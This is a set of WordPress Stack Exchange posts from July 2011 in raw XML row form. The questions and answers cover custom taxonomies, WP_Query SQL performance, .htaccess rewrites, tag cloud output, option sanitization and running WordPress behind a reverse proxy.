  <row Id="22833" PostTypeId="1" AcceptedAnswerId="22999" CreationDate="2011-07-13T12:50:24.557" Score="0" ViewCount="53" Body="&lt;p&gt;Hy guys,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some problems with my taxonomies... here my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;  define('REVIEWS_SLUG', 'review');&#xA;  define('REVIEWS_CATEGORY_SLUG', 'review-category');&#xA;&#xA;  function create_reviews_section(){                                    &#xA;    $labels = array(&#xA;      'name' =&gt; __('Reviews'),&#xA;      'singular_name' =&gt; __('review'),&#xA;      'add_new' =&gt; __('Add New'),&#xA;      'add_new_item' =&gt; __('Add New Review'),&#xA;      'edit' =&gt; __('Edit'),&#xA;      'edit_item' =&gt; __('Edit Review'),&#xA;      'new_item' =&gt; __('New Review'),&#xA;      'view' =&gt; __('View'),&#xA;      'view_item' =&gt; __('View Review'),&#xA;      'search_items' =&gt; __('Search Reviews'),&#xA;      'not_found' =&gt; __('No reviews found'),&#xA;      'not_found_in_trash' =&gt; __('No reviews found in Trash'),&#xA;    );&#xA;&#xA;    register_post_type('reviews', array(&#xA;            'labels' =&gt; $labels,&#xA;      'description' =&gt; __('Reviews Section'),&#xA;            'public' =&gt; true,&#xA;            'show_ui' =&gt; true,&#xA;            'publicly_queryable' =&gt; true,&#xA;            'exclude_from_search' =&gt; false,&#xA;            'supports' =&gt; array('title', 'editor', 'custom-fields', 'excerpt', 'comments', 'author'),&#xA;            'rewrite' =&gt; array('slug' =&gt; REVIEWS_SLUG, 'with_front' =&gt; true),&#xA;            'query_var' =&gt; false,&#xA;      'taxonomies' =&gt; array('review-category')      &#xA;          )&#xA;      );    &#xA;  }&#xA;&#xA;  function create_review_category(){ &#xA;    $labels = array(&#xA;      'name' =&gt; _x('Review Categories', 'Review Categories'),&#xA;      'singular_name' =&gt; _x('Review Category', 'Review Category'),&#xA;      'search_items' =&gt;  __('Search Review Categories'),&#xA;      'popular_items' =&gt; __('Popular Review Categories'),&#xA;      'all_items' =&gt; __('All Review Categories'),&#xA;      'edit_item' =&gt; __('Edit Review Category'), &#xA;      'update_item' =&gt; __('Update Review Category'),&#xA;      'add_new_item' =&gt; __('Add New Review Category'),&#xA;      'new_item_name' =&gt; __('New Review Category'),&#xA;      'separate_items_with_commas' =&gt; __('Separate review categories with commas'),&#xA;      'add_or_remove_items' =&gt; __('Add or remove review categories'),&#xA;      'choose_from_most_used' =&gt; __('Choose from the most used review categories'),&#xA;      'menu_name' =&gt; __('Categories')&#xA;    ); &#xA;&#xA;    register_taxonomy('review-category', array('reviews'), array(&#xA;      'hierarchical' =&gt; true,&#xA;      'labels' =&gt; $labels,&#xA;      'show_ui' =&gt; true,&#xA;      'query_var' =&gt; true,&#xA;      'rewrite' =&gt; array('slug' =&gt; REVIEWS_CATEGORY_SLUG),&#xA;    ));&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First problem is that wordpress doesn't recognize this taxonomy as hierarhical. For example when I generate a dropdown with this taxonomy and depth=&quot;1&quot;, return all taxonomies (parents &amp;amp; childs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second problem: when I'm trying to insert a new term (with wp_insert_term) is telling me that the taxonomy it's not valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third problem: I thought that child taxonomy url will be like: domain.com/review-category/parent-taxonomy/child-taxonomy/ but in my case is: domain.com/review-category/child-taxonomy/. How I can modify the url to something like that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;  add_action('init', 'create_reviews_section');&#xA;  add_action('init', 'create_review_category', 0);&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$args = array(&#xA;                                          'show_option_none' =&gt; 'Choose make',&#xA;                                          'hide_empty' =&gt; 0,&#xA;                                          'name' =&gt; 'vehicle_category',&#xA;                                          'id' =&gt; 'vehicle_category',&#xA;                                          'taxonomy' =&gt; 'review-category',&#xA;                                          'hierarchical' =&gt; 0,&#xA;                                          'class' =&gt; 'maxw',&#xA;                                          'depth' =&gt; 1&#xA;                                          ); &#xA;                         wp_dropdown_categories( $args );&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="6998" LastEditorUserId="6998" LastEditorDisplayName="" LastEditDate="2011-07-14T19:35:52.913" LastActivityDate="2011-07-14T19:48:40.153" Title="Taxonimies for custom post types" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="22834" PostTypeId="1" CreationDate="2011-07-13T12:55:57.203" Score="1" ViewCount="27" Body="&lt;p&gt;I would like to have a page with downloadable items like PDFs, but I would like the user to be required to insert email details before being able to download the files, although he would be able to view the files available even before providing the email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The system must also ask only once for the email, and then maybe keep a cookie so that it won't ask for each download requested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin or code hack available for this? Thanks&lt;/p&gt;&#xA;" OwnerUserId="5844" LastActivityDate="2011-07-13T12:55:57.203" Title="Ability to download only after email supplied" Tags="&lt;email&gt;" CommentCount="2" FavoriteCount="1" />
  <row Id="22835" PostTypeId="1" CreationDate="2011-07-13T12:57:52.743" Score="2" ViewCount="169" Body="&lt;p&gt;I have a site with several custom taxonomies, and have found that one of the slowest parts of the site is attempting to query with an OR across several of these at once. I'm using a &lt;code&gt;WP_Query&lt;/code&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(&#xA;  'tax_query' =&amp;gt; array(&#xA;    'relation' =&amp;gt; 'OR',&#xA;    array('taxonomy' =&amp;gt; 'tax1', 'field' =&amp;gt; 'slug', 'terms' =&amp;gt; 'term1'),&#xA;    array('taxonomy' =&amp;gt; 'tax2', 'field' =&amp;gt; 'slug', 'terms' =&amp;gt; 'term2'),&#xA;    array('taxonomy' =&amp;gt; 'tax3', 'field' =&amp;gt; 'slug', 'terms' =&amp;gt; 'term3'),&#xA;    array('taxonomy' =&amp;gt; 'tax4', 'field' =&amp;gt; 'slug', 'terms' =&amp;gt; 'term4'),&#xA;  )&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The SQL it generates takes an unacceptable 6 seconds to run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT SQL_CALC_FOUND_ROWS wp_posts.* FROM wp_posts  &#xA;INNER JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id) &#xA;INNER JOIN wp_term_relationships AS tt1 ON (wp_posts.ID = tt1.object_id) &#xA;INNER JOIN wp_term_relationships AS tt2 ON (wp_posts.ID = tt2.object_id) &#xA;INNER JOIN wp_term_relationships AS tt3 ON (wp_posts.ID = tt3.object_id) &#xA;WHERE 1=1 AND wp_posts.ID NOT IN (70) &#xA;AND (wp_term_relationships.term_taxonomy_id IN (23) &#xA;  OR tt1.term_taxonomy_id IN (5)&#xA;  OR tt2.term_taxonomy_id IN (11)&#xA;  OR tt3.term_taxonomy_id IN (10) ) &#xA;AND (wp_posts.post_status = 'publish') &#xA;GROUP BY wp_posts.ID ORDER BY wp_posts.post_date DESC LIMIT 0, 500&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this equivalent query takes a much nicer 0.29 seconds:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT SQL_CALC_FOUND_ROWS  wp_posts.* FROM wp_posts&#xA;INNER JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id)&#xA;WHERE 1=1 AND wp_posts.ID NOT IN (70)&#xA;AND (wp_term_relationships.term_taxonomy_id IN (23, 5, 11, 10)) &#xA;AND (wp_posts.post_status = 'publish')&#xA;GROUP BY wp_posts.ID ORDER BY wp_posts.post_date DESC LIMIT 0, 500&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Clearly the multiple joins are making it slower than it needs to be. The SQL doesn't care that the terms come from different taxonomies, but &lt;code&gt;WP_Query&lt;/code&gt; does because they're looked up by slug. Is there any way to persuade &lt;code&gt;WP_Query&lt;/code&gt; to generate something closer to the second one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note the above has been anonymised to protect my client)&lt;/p&gt;&#xA;" OwnerUserId="3828" LastEditorUserId="3828" LastEditorDisplayName="" LastEditDate="2011-07-13T16:55:32.600" LastActivityDate="2011-07-14T09:27:38.587" Title="Improving WP_Query performance for multiple taxonomies" Tags="&lt;custom-taxonomy&gt;&lt;wp-query&gt;&lt;performance&gt;&lt;sql&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="3" />
  <row Id="22836" PostTypeId="1" CreationDate="2011-07-13T13:05:12.223" Score="1" ViewCount="36" Body="&lt;p&gt;I'd like that my categories having child-categories don't be selectable on the post article page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is to remove the checkbox before their label.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked the filter documentation but I wasn't able to find any filter that suits my need.&lt;/p&gt;&#xA;" OwnerUserId="6938" LastActivityDate="2011-07-13T13:05:12.223" Title="Make parent categories not selectable" Tags="&lt;categories&gt;&lt;admin&gt;&lt;filters&gt;" />
  <row Id="22838" PostTypeId="2" ParentId="22830" CreationDate="2011-07-13T14:08:27.730" Score="1" ViewCount="" Body="&lt;p&gt;i'll give various types of calendar's,you choose any one of them as your needs.&#xA;&lt;a href=&quot;http://www.1stwebdesigner.com/wordpress/best-calendar-plugins-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Sample Calendar&lt;/a&gt; .i think some combination is too good.:)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if my answer is useful means just accept my answer.your accept rate is 0% means people won't  mind your questions.&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-07-13T14:08:27.730" />
  <row Id="22839" PostTypeId="1" CreationDate="2011-07-13T14:58:45.513" Score="0" ViewCount="65" Body="&lt;p&gt;Ok here is a setup I am aiming for, hopefully someone knows how to get me there:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;One Wordpress Install on www.mainsite.com&lt;/li&gt;&#xA;&lt;li&gt;www.mainsite.com will be a landing page that points to two Category links: Work, Play&lt;/li&gt;&#xA;&lt;li&gt;Work Category defaults to domain www.worklife.com&lt;/li&gt;&#xA;&lt;li&gt;Play Category defaults to www.play.mainsite.com&lt;/li&gt;&#xA;&lt;li&gt;Any other Wordpress Pages will maintain www.mainsite.com as domain (ex. www.mainsite.com/contact)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Right now the old blog resides on worklife.com, so I am hoping to prevent the URLs of individual postings from changing (ex. www.worklife.com/2010/01/01/post) as I migrate the install to mainsite.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, I have built the site, and all of the loops and pages are functioning correctly. The only thing left to do is get the domains to play nice so I can make the move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of my research keeps pointing me towards creating a network, but I'm hoping there is a way to keep it all running on a single install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can it be done?&lt;/p&gt;&#xA;" OwnerUserId="7001" LastActivityDate="2011-08-14T11:23:44.203" Title="One Wordpress Install, Two Categories. Each Category Gets a Domain" Tags="&lt;categories&gt;&lt;domain-mapping&gt;&lt;multiple&gt;" AnswerCount="1" />
  <row Id="22840" PostTypeId="1" CreationDate="2011-07-13T15:22:51.903" Score="1" ViewCount="30" Body="&lt;p&gt;I've had a look around already but couldn't find an answer to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to create a template that applies to all pages that have a parent? something like sub-page.php without having to manually select it from the page attributes?&lt;/p&gt;&#xA;" OwnerUserId="7002" LastActivityDate="2011-08-19T18:37:21.793" Title="Subpage template" Tags="&lt;template&gt;&lt;page&gt;&lt;page-template&gt;" AnswerCount="1" />
  <row Id="22841" PostTypeId="2" ParentId="22724" CreationDate="2011-07-13T15:43:50.770" Score="0" ViewCount="" Body="&lt;p&gt;Try replacing the .htaccess code with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# -------------------------------------------------------------------------&#xA;# Rewrite Engine options&#xA;# -------------------------------------------------------------------------&#xA;&#xA;RewriteEngine On&#xA;RewriteCompatibility2 On&#xA;RepeatLimit 200&#xA;RewriteBase&#xA;RewriteRule ^/index.php$ / [NC,P,R=301]&#xA;RewriteCond %{REQUEST_URI} !/wp-admin&#xA;RewriteRule ^/(.*)/$ /index.php/$1 [NC]&#xA;&#xA;# Redirect 'www.yourblogsite.com/anything/anything/index.php'&#xA;# to 'www.yourblogsite.com/anything/anything/'&#xA;&#xA;RewriteRule ^/(.*)/index.php$ /$1/ [NC,P,R=301]&#xA;&#xA;# -------------------------------------------------------------------------&#xA;# END REWRITES&#xA;# -------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I still had the log-in credentials to a client I had to fix this for. This is what I used for him. It is an IIS Server, I'm not sure if that matters but you can try it.&#xA;Good Luck,&#xA;JJ&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-07-13T15:43:50.770" />
  <row Id="22842" PostTypeId="2" ParentId="22840" CreationDate="2011-07-13T15:45:46.463" Score="0" ViewCount="" Body="&lt;p&gt;Just build it directly into your &lt;code&gt;page.php&lt;/code&gt; template. e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $post;&#xA;if ( $post-&amp;gt;post_parent ) {&#xA;    // This is a child Page; do something&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-13T15:45:46.463" CommentCount="1" />
  <row Id="22843" PostTypeId="1" CreationDate="2011-07-13T15:46:09.727" Score="0" ViewCount="20" Body="&lt;p&gt;Continuing work today on my free theme and I'm trying to make it kick some butt.  I would like to embed an audio player into the theme.  Not a plugin, an embedded player.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The functionality of &lt;a href=&quot;http://wpaudioplayer.com/standalone/&quot; rel=&quot;nofollow&quot;&gt;http://wpaudioplayer.com/standalone/&lt;/a&gt; kicks some serious boo-tay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, that player is a bit ugly.  I do like the Woo Tumblog audio player (anybody know if I can implement this... people may make commercial themes off this theme so it needs to be legal?).  If there's a great looking player option out there that's distributable in commercial themes, simple, and well-designed let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume I can just replace the .swf file in WP Audio Player... right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;May the force be with you.&lt;/p&gt;&#xA;" OwnerUserId="6565" LastActivityDate="2011-07-13T15:46:09.727" Title="Hard-coded Audio Player" Tags="&lt;theme-development&gt;&lt;audio&gt;&lt;flash&gt;" CommentCount="1" />
  <row Id="22844" PostTypeId="1" AcceptedAnswerId="22847" CreationDate="2011-07-13T15:46:27.337" Score="0" ViewCount="43" Body="&lt;p&gt;Hello I am working with my own template, and also using the post-to-post plugin, I am doing the following, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;                &amp;lt;?php&#xA;                global $post;&#xA;                global $related;&#xA;                ?&amp;gt;&#xA;                &amp;lt;?php query_posts('post_type=client'); ?&amp;gt;&#xA;                &amp;lt;?php $the_query = new WP_Query( array('post_type' =&amp;gt; 'casestudy', 'connected' =&amp;gt; $post-&amp;gt;ID)); ?&amp;gt;&#xA;                &amp;lt;?php $content = $post-&amp;gt;post_content; $link = $post-&amp;gt;guid; $id = $post-&amp;gt;ID; ?&amp;gt;&#xA;                &amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;                    &amp;lt;?php $client = get_post_custom($post-&amp;gt;ID); ?&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&#xA;                        &amp;lt;img src=&quot;&amp;lt;?php echo $client['upload_image2'][0]; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;/&amp;gt;&#xA;                    &amp;lt;?php while ($the_query-&amp;gt;have_posts()) : $the_query-&amp;gt;the_post(); ?&amp;gt;&#xA;                        &amp;lt;?php die(&quot;!&quot;); ?&amp;gt;&#xA;                        &amp;lt;?php $related = get_post_custom($post-&amp;gt;ID); ?&amp;gt;&#xA;                            &amp;lt;?php if(is_array($related)) : ?&amp;gt;&#xA;                                &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; class=&quot;case_study&quot;&amp;gt;&amp;lt;?php echo $content; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;                    &amp;lt;?php endwhile; ?&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;                &amp;lt;?php wp_reset_postdata(); ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I do not get into the second while, even though if I print_r $query_post it returns data. However If I then repeat the code again, it all works as I would expect, i.e the code goes into the second while loop, can anyone tell me why this would be happening?&lt;/p&gt;&#xA;" OwnerUserId="6964" LastActivityDate="2011-07-13T16:12:50.030" Title="problem with the loop" Tags="&lt;wp-query&gt;&lt;template&gt;&lt;loop&gt;&lt;the-loop&gt;&lt;custom-loop&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="22845" PostTypeId="1" CreationDate="2011-07-13T16:08:34.613" Score="1" ViewCount="46" Body="&lt;p&gt;Is there a way to disable Wordpress wp_tag_cloud() from outputting inline CSS?&lt;/p&gt;&#xA;" OwnerUserId="7004" LastActivityDate="2011-08-14T15:23:48.173" Title="Disabling wp_tag_cloud() outputting inline CSS" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="22846" PostTypeId="1" AcceptedAnswerId="23085" CreationDate="2011-07-13T16:10:22.843" Score="1" ViewCount="27" Body="&lt;p&gt;I'm trying to remove the adjacent_posts_rel_link links under WP3.2, i.e. remove these from wp_head:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel='prev' title='blah blah' href='http://...' /&amp;gt;&#xA;&amp;lt;link rel='next' title='blah blah' href='http://...' /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this function used to work under 3.1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_header_info() {&#xA;remove_action('wp_head', 'adjacent_posts_rel_link', 10, 0);&#xA;}&#xA;&#xA;add_action('init', 'remove_header_info');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But doesn't under 3.2. Anyone know or know how to find the new action to remove the links?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 7/15/11:&lt;/strong&gt; the change is &lt;code&gt;adjacent_posts_rel_link_wp_head&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-07-15T16:45:49.730" LastActivityDate="2011-07-15T16:45:49.730" Title="Remove adjacent_posts_rel_link under 3.2?" Tags="&lt;functions&gt;&lt;wp-head&gt;" AnswerCount="1" />
  <row Id="22847" PostTypeId="2" ParentId="22844" CreationDate="2011-07-13T16:12:50.030" Score="1" ViewCount="" Body="&lt;p&gt;did you try this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$custom_query_args = array(&#xA;    'post_type' =&amp;gt; 'casestudy',&#xA;    'connected' =&amp;gt; $post-&amp;gt;ID&#xA;);&#xA;&#xA;$the_query = new WP_Query();&#xA;$the_query-&amp;gt;query($custom_query_args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2071" LastActivityDate="2011-07-13T16:12:50.030" CommentCount="2" />
  <row Id="22848" PostTypeId="2" ParentId="22736" CreationDate="2011-07-13T16:15:48.253" Score="2" ViewCount="" Body="&lt;p&gt;Ok, found the answer. It was just an oversight on my part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using the wrong variable name for the USER ID. In the $wpdb comment object, the user ID is stored as &lt;code&gt;user_id&lt;/code&gt;, but in the USER object, the ID is stored just as &lt;code&gt;ID&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, by using &lt;code&gt;if ( user_can($commentAuthor-&amp;gt;ID, 'read_citizen') )&lt;/code&gt;, it all works.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-13T16:15:48.253" />
  <row Id="22849" PostTypeId="1" AcceptedAnswerId="22863" CreationDate="2011-07-13T16:19:13.050" Score="1" ViewCount="162" Body="&lt;p&gt;At the risk of sounding completely ridiculous, i'm posting this question here as the nature of my query doesn't seem to help me much from google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My wordpress default rss feeds makes use of post excerpt this feed is accessed via www.mydomain.com/feed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a requirement to make another RSS feed that is full text. How can create an additional RSS feed (that is private/given to only trusted parties).. preferably using a function but a plugin (as a last resort)?&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-07-13T18:35:54.357" Title="How to create additional full text RSS feeds" Tags="&lt;rss&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="22850" PostTypeId="1" AcceptedAnswerId="22862" CreationDate="2011-07-13T16:28:38.750" Score="2" ViewCount="54" Body="&lt;p&gt;I've tried to import an option value via update_options($name, $value) where $value has special characters (like apostrophe's for example) and I've noticed that the apostrophe gets stripped out of the text before it reaches the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the suggested sanitization of strings prior to sending them to update_options()?&lt;/p&gt;&#xA;" OwnerUserId="6620" LastActivityDate="2011-07-13T18:27:02.753" Title="How to properly sanitize strings for update_option()" Tags="&lt;plugin-development&gt;&lt;wp-options&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="22851" PostTypeId="1" AcceptedAnswerId="22852" CreationDate="2011-07-13T16:48:13.377" Score="0" ViewCount="57" Body="&lt;p&gt;I'm working on creating a plugin out of some custom code I use a lot, in hopes that other people find it useful too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works, so yay! but...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's my question:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like I'm missing some puzzle pieces in my understanding of the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens to all the code I add and hook everywhere after I deactivate my plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my main .php file, when is the code that's not in a function being executed? Only at install? Then what is the purpose of     &lt;code&gt;register_activation_hook( __FILE__,'install_method');&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I put &lt;code&gt;add_action&lt;/code&gt; and &lt;code&gt;add_filter&lt;/code&gt; in my main php file, do I have to remove them at uninstall? (For example, I know that if I &lt;code&gt;add_option('option', '0', '', 'yes');&lt;/code&gt; during install I have to &lt;code&gt;delete_option('option');&lt;/code&gt; at uninstall.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some tutorial, they told me to put &lt;code&gt;if ( is_admin() ) {}&lt;/code&gt; around my code, is this necessary?&lt;/p&gt;&#xA;" OwnerUserId="3807" LastActivityDate="2011-07-13T18:47:56.903" Title="Where do I put my add_action(... and add_filter(... and do I need to remove them?" Tags="&lt;plugin-development&gt;&lt;add-action&gt;" AnswerCount="2" />
  <row Id="22852" PostTypeId="2" ParentId="22851" CreationDate="2011-07-13T16:57:32.580" Score="2" ViewCount="" Body="&lt;p&gt;filters and actions are added with &lt;em&gt;every request&lt;/em&gt;. when you disable a plugin, they immediately disappear, because they only exist in your plugin code. this is how you're able to selectively add them on a per-request basis. you only need to remove filters or actions if you don't want them to run in the current request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;is_admin()&lt;/code&gt; is a check if the admin pages are being displayed, and should wrap things only for admin pages.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-13T16:57:32.580" />
  <row Id="22853" PostTypeId="2" ParentId="22845" CreationDate="2011-07-13T16:58:17.837" Score="0" ViewCount="" Body="&lt;p&gt;The only way to do this is to return the tag cloud as an array since every other tag parameter will still add inline font-sizing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To return the cloud as an array you can use &lt;code&gt;&amp;lt;?php $tag = wp_tag_cloud('format=array' );?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or in a functions.php filter, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//tag cloud custom&#xA;add_filter('widget_tag_cloud_args','style_tags');&#xA;function style_tags($args) {&#xA;  $tag = wp_tag_cloud('format=array' );&#xA;&#xA; //var_dump to test output, as you can see you can style this any way you want &#xA; var_dump ($tag);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-13T16:58:17.837" CommentCount="2" />
  <row Id="22854" PostTypeId="1" AcceptedAnswerId="22870" CreationDate="2011-07-13T17:13:14.703" Score="0" ViewCount="28" Body="&lt;p&gt;I need to make an SQL call to find all records in wp_options matching a select statement. How do I query the table?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My script already has these resources called...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once('../../../wp-blog-header.php');&#xA;require_once('../../../wp-admin/includes/file.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6620" LastActivityDate="2011-07-13T19:06:49.243" Title="wordpress how to query wp_options table" Tags="&lt;plugin-development&gt;&lt;wp-options&gt;" AnswerCount="1" />
  <row Id="22856" PostTypeId="1" AcceptedAnswerId="22871" CreationDate="2011-07-13T17:25:36.800" Score="0" ViewCount="55" Body="&lt;p&gt;I would like to add avatars to my users. I have a limited group on a site I'm working. Uploading isn't really a problem we can just put the images on the server and use URL's to set our avatars(Only about 5 people will actually be able to post.). That said how would I add a field to the user page they can fill out with a image URL that can then be fetched later. I know you can fetch user data via the &lt;code&gt;the_author_meta();&lt;/code&gt; function but how do I add a custom user field that can them be filled out and put into the database that is the associated with the user?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or would if just be better to use something that already exist like the &lt;code&gt;aim&lt;/code&gt; field for example since none of us will be filling that out.&lt;/p&gt;&#xA;" OwnerUserId="7006" LastActivityDate="2011-07-13T19:09:23.437" Title="How do you add a custom option to user data?" Tags="&lt;custom-field&gt;&lt;users&gt;&lt;user-access&gt;&lt;usermeta&gt;" AnswerCount="1" />
  <row Id="22857" PostTypeId="1" AcceptedAnswerId="22860" CreationDate="2011-07-13T17:44:45.690" Score="0" ViewCount="68" Body="&lt;p&gt;I want to add a jQuery dialog modal to a form page. When the dialog box is triggered I see the the text content but with no CSS. I'm pulling in the jquery in the functions.php for the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script('jquery-ui-dialog');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The jquery css (jquery-ui-dialog.css) is under my wp-includes/css directory.&#xA;I tried adding&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_style('jquery-ui-dialog');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it not work. Does anybody know the proper way to enable jQuery Dialog.&lt;/p&gt;&#xA;" OwnerUserId="3880" LastActivityDate="2011-07-13T18:01:41.327" Title="CSS not pulling in for jQuery UI dialog" Tags="&lt;jquery&gt;" AnswerCount="1" />
  <row Id="22858" PostTypeId="1" CreationDate="2011-07-13T17:58:52.080" Score="0" ViewCount="32" Body="&lt;p&gt;I have wordpress running on a dedicated server, and another server running our website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to have wordpress appear to be running on a subdirectory of our website, like &lt;a href=&quot;http://example.com/blog&quot; rel=&quot;nofollow&quot;&gt;http://example.com/blog&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To accomplish this, I setup a reverse proxy&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ProxyPass /blog http://mysuperpoweredwpserver&#xA;ProxyPassReverse /blog http://mysuperpoweredwpserver&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And set wp_home and site_url&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_HOME','http://example.com/blog');&#xA;&#xA;define('WP_SITEURL','http://example.com/blog');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Things appear to working fine, but i'm concerned about brittleness. Has anybody setup wordpress like this? Anything to look out for?&lt;/p&gt;&#xA;" OwnerUserId="7007" LastActivityDate="2011-07-13T17:58:52.080" Title="How can I setup wordpress behind a reverse proxy" Tags="&lt;apache&gt;" />
